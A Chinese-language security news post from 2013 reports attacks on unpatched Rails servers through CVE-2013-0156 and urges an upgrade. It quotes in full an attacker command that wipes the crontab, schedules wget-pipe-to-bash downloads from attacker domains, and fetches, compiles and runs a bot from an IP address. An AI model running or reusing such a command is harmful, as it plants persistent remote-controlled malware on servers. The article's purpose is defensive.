Rails 老漏洞仍在肆虐，请尽快升级

查看次数2812 发表时间2013-05-30 13:07:33

安全专家Jarmoc在博客中称，过去几天，一些基于Rails的Web应用程序和服务器遭到了攻击，攻击者成功入侵后，会在服务器上安装一个机器人，以接受来自IRC频道的进一步指示。攻击者利用的是CVE-2013-0156这个安全漏洞...

安全专家Jarmoc在博客中称，过去几天，一些基于Rails的Web应用程序和服务器遭到了攻击，攻击者成功入侵后，会在服务器上安装一个机器人，以接受来自IRC频道的进一步指示。

攻击者利用的是CVE-2013-0156这个安全漏洞，尽管Rails团队已经在今年1月份修复了该漏洞，但目前还有大量的服务器未更新至最新的版本，使得攻击者有机可乘。

该漏洞存在于Action Pack模块的参数解析代码中，允许攻击者绕过认证系统，注入并执行任意SQL代码，或对Rails应用执行DoS攻击。新的Rails版本中已经修复了该漏洞。

攻击者试图在crontab中添加如下命令（现在该命令已不可用）：

crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget  -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k

该命令执行后会下载名为cmd1、cmd2和cmd3的可执行文件，并下载一个名为k.c的C源码文件到/tmp目录中，使用系统的GCC编译执行。或许是为了防止编译失败，该条命令还将下载一个预编译的k版本。

Jarmoc在博客中公布了k.c的源码，感兴趣的开发者可点击这里。

目前最新的Rails版本为3.2.13、3.1.12和2.3.18，建议开发者尽快升级。

Via jarmoc
(转发请注明转自:学PHP)    

昵称：

(不超过20个字符或10个汉字)

内容：

发 表